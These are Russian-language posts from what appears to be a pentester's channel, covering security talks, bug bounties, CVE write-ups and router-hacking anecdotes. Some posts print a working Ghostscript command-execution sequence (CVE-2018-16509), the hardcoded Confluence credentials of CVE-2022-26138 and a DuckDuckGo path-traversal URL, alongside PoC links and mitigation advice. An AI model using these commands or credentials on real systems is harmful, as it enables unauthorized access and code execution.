Выделил для себя топ интересных докладов с PHD, с которыми советую ознакомиться: 1. Поставить или положить. Атаки на цепочки поставок - Рассказывается о том, что делать если получили креды от непривилегированной учетки для GitLab, но при этом настроен CI/CD пайплайн и используется TeamCity для сборки и дальнейшего получения артефактов. 2. Обход сигнатурного WAF - Рассказывается о том, как можно расщеплять нагрузку чтоб не стриггерить правила для WAF. Мельком затрагиваются методы машинного обучения для обнаружения вторжений. 3. Охотимся за современными атаками на инфраструктуру Active Directory - Коллеги подробно рассказывают об атаках на A/D инфраструктуру. 4. Domain admin blitzkrieg - fast RedTeam - рассказывается об интересном подходе для быстрого получения максимальной выгоды за ночь.
Кажется очередной узконаправленный 0? https://github.com/AgainstTheWest/NginxDay Предположительно в ldap демоне нжинкс. Больше информации пока нет
Очередная забавная история. Теперь с получением удаленного исполнения кода на роутере. На старой квартире стоял роутер от Xiaomi. Дело было вечером, делать было нечего. Начал исследовать, наткнулся на интересный вид путей приложения: /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30. Ну а дальше - как на HackTheBox. Чтоб понять что перед нами - гуглим и натыкаемся на следующий репорт. Становится понятно, что есть возможность получить удаленное исполнение кода, но ссылок на POC нет. Но если хорошо поискать, то можно найти не только POC, но еще и полноценный ресерч, в котором показано и объяснено какие именно запросы приводят к возникновению удаленного исполнения кода от имени супер-пользователя. Ссылка на статью.
🪲 27 проектов от VK ждут вас на платформе BI.ZONE Bug Bounty! Встречайте программу bug bounty от VK — компании, которая не нуждается в представлении. В скоуп входят «ВКонтакте», «Одноклассники», «Почта Mail.ru» и другие — 27 проектов с разной инфраструктурой и подходами к безопасности на любой вкус. За найденную уязвимость вы получите вознаграждение от 3 тыс. до 1,8 млн рублей в зависимости от уровня критичности угрозы. Программа уже доступна на нашей платформе. Чекайте скоуп и ловите баги!
https://habr.com/ru/post/671088/
2022 подходит к концу. Несмотря на то, что канал стал более серьезным местом, в которое я больше не спамлю своими мыслями или чем-то сугубо личным, я бы не хотел переставать подводить итоги года. Это уже стало своего рода традицией, что ли. 2022 год - был крайне удивительным, сложным и запоминающимся для каждого. Несмотря на то, что год привнес в жизни людей много отрицательных эмоций, лично для меня этот год стал годом открытий и достижений. За 2022 я наконец разобрался с университетом, получил диплом о высшем образовании, продолжил развиваться в сферах Application Security / Pentest. И, могу сказать, что наконец чувствую себя достаточно уверенно в том деле, которым я занимаюсь. За этот год я провел достаточное количество ресерчей, если их так можно назвать. Открыл для себя просто невероятно много всего и, что самое главное - стал полноценной частью команды BI.ZONE. Отдельную благодарность я бы хотел выразить именно коллегам из компании BI.ZONE, которые не останавливаются перед преградами и всегда идут вперед, несмотря ни на что. Этот темп и эта уверенность позволяет мне всегда учиться чему то новому. В этом году я участвовал в разработке некоторых ивентов и, что главное, сами ивенты были хорошо организованы, на них были собраны таски достаточно высокого уровня сложности, но что важнее - задачки были из реальных кейсов. Это классно, когда через призму ивентов можно поделиться с коллегами из других компаний своим опытом. В общем, подводить итоги настолько насыщенного года крайне сложно, так как произошло и вправду крайне много всего. Напоследок, хотелось бы сказать следующее: В 2023 я планирую продолжить заниматься своим делом и планирую продолжать развивать свое небольшое коммьюнити. Ну и без пожеланий никак - желаю каждому в 2023 году сталкиваться с задачами, которые позволят прокачать свои скиллы, побольше нулей и CVE. Всех с наступающим! 🥳
CVE-2022-26138 - Atlassian Confluence - Use of hardcoded credentials Никогда такого не было и вот опять. В расширении, позволяющем создавать опросы и менеджить фидбеки, были обнаружены захардкоженные креды. По дефолту создавался пользователь с именем disabledsystemuser и паролем disabled1system1user6708, который находился в группе пользователей: confluence-users Уязвимые версии: 2.7.34, 2.7.35, 3.0.2 Уязвимый пакет: maven-atlassian-external/com/atlassian/confluence/plugins/confluence-questions/3.0.2/confluence-questions-3.0.2.jar Официально аккаунт создан для: "Помощи администраторам, которые переносят данные из приложения в Confluence Cloud"
Никак не было времени дочитать статью: https://xakep.ru/2017/04/01/templeos/ Вообще ось выглядит супер интересно. Особенно с учетом того, что написана энтузиастом. Одним, Карл. Вы когда-нибудь могли себе представить, что вставленные в код пикчи будут обрабатываться как часть кода? Или как насчет того, чтоб редактировать графическое окружение, изменяя файлики необходимого формата? Может когда-нибудь я доберусь до этой оси и поресерчу получше что в ней и как. А сейчас и так всего хватает. К прочтению - советую.
Байпас авторизации в продуктах #VMware: https://twitter.com/VietPetrus/status/1554485970514608128 Пок обещают опубликовать позже, но пока есть только скрин и митигейшн
🎰 Доступна полная программа OFFZONE 2022 2 трека, 3 тематические зоны — 58 докладов и 3 воркшопа с отборным техническим контентом ждут вас уже на следующей неделе! Смотрите программу на сайте
История о недавнем случайном похеке. Я недавно съехал в съемную квартиру, тут стоял старенький роутер [ДАННЫЕ УДАЛЕНЫ]. Роутер очень любил рвать соединения, отчего появилось желание его сменить. Но, как известно, чтоб сменить роутер надо знать некоторые настройки, которые провайдер обычно высылает в письме или предоставляет в договоре. Доступа к договору, понятное дело, тоже не было.. Ну и как то ночью я решил посмотреть, что именно за технологии использует роутер [ДАННЫЕ УДАЛЕНЫ]. Так получилось, что мне удалось обойти некоторые правила безопасности продукта [ДАННЫЕ УДАЛЕНЫ] и получить всю необходимую информацию для настройки нового роутера, т.е: 1. ip 2. mask 3. gateway 4. dns_primary Возможно, эти данные можно получить и как-то иначе, но я не задавался этим вопросом. Бага позволяет получить куда больше инфы прямиком из админки. Постараюсь немного позже сделать разбор :)
Привет. https://github.com/jbaines-r7/through_the_wire - PoC на свежий нолик в atlassian confluence - OGNL Injection -> RCE без аутентификации. Патч: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html Если не хотите переходить на какую-либо версию, можно пойти следующими путями: 1. Фильтровать конструкции вида ${} (не всегда помогает, так как уже есть некоторые WAF bypass методы, известные со старых инцидентов) 2. Удалить файл atlassian-confluence-<version>/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar. Вместо него можно использовать файл xwork-1.0.3-atlassian-10.jar. Его можно получить из новых, запатченных версий. Проверить свой сервис можно с помощью логов: /opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log
Интересный доклад про планировщик задач в Golang https://www.youtube.com/watch?v=rloqQY9CT8I
👨💻 Уязвимые фрагменты кода Если хотите попрактиковаться в анализе защищенности кода, то обратите внимание на репозиторий от YesWeHack, которые каждую пятницу публикуют у себя в твиттер фрагменты кода с различными уязвимостями. Фрагменты кода удобны для начинающих, но подходят для всех уровней. Репозиторий также содержит скрипт для установки и тестирования этих фрагментов кода локально. Ссылка на GitHub #code #web
Бывает, что функций программы недостаточно, чтобы полноценно выполнять задачи. Тогда можно поискать что-то другое или залезть в код — и доработать приложение. Так и сделал наш коллега с парсером argparse. Рассказ об этом опыте — у нас в блоге. 🐍 Статья рассчитана на читателя с уверенным владением Python. Читать
[OUTDATED] Уже через 4 минуты начинается CTF.Zone 2022! В этом году я также принимал участие в разработке и тестировании тасков. Задачки обещают быть очень интересными :).
Python - PIL/Pillow Remote Shell Command Execution via Ghostscript - CVE-2018-16509 Официальное описание: https://www.cvedetails.com/cve/CVE-2018-16509/ Описание: Ghostscript - это набор программного обеспечения, основанный на интерпретаторе языков описания страниц Adobe Systems PostScript и Portable Document Format (PDF). По каким то причинам, во многих системах Ghostscript является предустановленным пакетом, даже если в системе не используется (/usr/local/bin/gs или /usr/bin/gs). КУЧА уязвимостей обноружено в Ghostscript и одна из них - CVE-2018-16509. Суть заключается в следующем: /invalidaccess checks stop working after a failed restore, so you can just execute shell commands if you handle the error. Т.к /invalidaccess перестает работать после того как падает - мы можем добиться исполнения кода: $ *gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null* GS>*legal* GS>*{ null restore } stopped { pop } if* GS>*legal* GS>*mark /OutputFile (%pipe%id) currentdevice putdeviceprops* GS<1>*showpage* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Проблема заключается в том, что PIL/Pillow при открытии изображения автоматически определяет его тип. В нашем случае - EPS. Тело EPS будет обработано Ghostscript’ом с использованием модуля subprocess: https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py#L146 Таким образом, уязвимы все методы которые так или иначе вызывают .open(). Перечень: 1. resize 2. crop 3. rotate 4. save
Недавно пришлось сильнее углубиться в Frida. Наткнулся на несколько интересных статей, посвященных данному вопросу. Также, коллега поделился своими наработками, которые будут опубликованы тут в виде ссылки. Полезные примеры скриптов можно найти тут. Мне это очень сильно помогло в момент, когда я хукал объект из листа. Так как Frida не умеет в определение скоупа таких объектов самостоятельно - пришлось использовать такой метод: var classA = Java.use("A"); var objClassA = Java.cast(pointer, classA); О том, как работает android и на какие места стоит обращать внимание можно посмотреть тут. Рассматриваются особенности платформы и особенности атак на android приложения на реальном примере проведения анализа защищенности приложения Spotify. Цикл статей, посвященных обратной разработке, рассмотрению кода и проведению атак с использованием Frida можно найти тут. Доклад Егора Богомолова на тему атак на Activity & Intents можно найти тут. Данная статья взята с выступления Егора на Offzone 2019. Хочется сказать, что в этом году пройдет Offzone 2022, в котором каждый сможет принять участие. Наиболее часто встречающиеся уязвимости в WebView можно посмотреть в данном чеклисте (Спасибо @mlsdmitry).
Есть прикольная тулза под названием Sandmap. Она поддерживается только для GNU/Linux (Так вышло). Но так как у меня мак, а тулза приглянулась, пришлось форкнуть: Sandmap for MacOS. Это некая обертка над nmap engine с интерфейсом, схожим с интерфейсом Msfconsole. Разработчик пишет об Sandmap следующим образом: Sandmap is a tool supporting network and system reconnaissance using the massive Nmap engine. It provides a user-friendly interface, automates and speeds up scanning and allows you to easily use many advanced scanning techniques. Как пользоваться можно прочитать тут. Гайд по установке в README.
В duckduckgo нашли прикол: https://duckduckgo.com/?kad=../../../../../../../../../../usr/share/doc/openssh-client/faq#3.0 Читать можно исключительно файлы с расширением .html. Баг или фича?
Сейчас я переехал на Мак на чипе m1 и решил с ITerm переехать на Alacritty, который, якобы, быстрее работает в плане GPU rendering'a. Могу сказать одно - это было крайне больно. Начать стоит с моего сетапа: 1. alacritty - openGL terminal emulator;<br/>2. zsh - shell <br/>3. oh my zsh - framework for managing Zsh configuration. <br/>4. tmux - multiplexer <br/>5. neovim - vim with plugins <br/><br/> Для начала стоит поговорить о конфиге: alacritty необходимо скормить файл конфигурации в формате YAML. Любая ошибка в синтаксисе и alacritty дропается, оставляя в закромах логи о том, что же пошло не так. Сразу советую использовать все debug фишки, поставляемые alacritty. Они позволяют дебажить конфигурацию на лету. Самая большая проблема - использование шелла в купе с мультиплексором - tmux. Во всех примерах конфигурация выглядит следующим образом: tmux attach || tmux - если сессия запущена, то стараемся использовать ее. В ином случае создаем новую сессию мультиплексора. И все бы ничего, но в этом виде alacritty закрывалась сразу после открытия, если использовать команду open Alacritty.app. Но если запускать бинарь напрямую - все работает хорошо. Открывать эмулятор из другого эмулятора не круто. Было найдено решение: source ~/.zshrc; tmux attach 2> /dev/null || tmux . Проблема с запуском решена, но появилась новая - автодополнение, которое делается с помощью oh-my-zsh плагина окрашивается мультиплексором. Фикс с описанием проблемы. Проблемы с шеллом решены, можно идти дальше. Мультиплексор - это страшно. Проблема заключается в том, что неймспейсы команд отличаются от версии к версии и версия для GNU работает не так, как версия для OsX. Пример рабочего конфига. По образу и подобию можно скрафтить свой конфиг и наконец запустить эмулятор, используя все технологии, описанные выше. Но вот незадача - alacritty просит доступ ко всем директориям после закрытия эмулятора. Тут описано почему так происходит. Для решений этой проблемы необходимо выпустить сертификат. Либо заверенный by Apple (что сделать невозможно, так как я не являюсь доверенным разработчиком), или выпустить self signed сертификат и переподписать им. После того, как бинарь был переподписан - были сохранены все доступы, выдаваемые системой. Уф.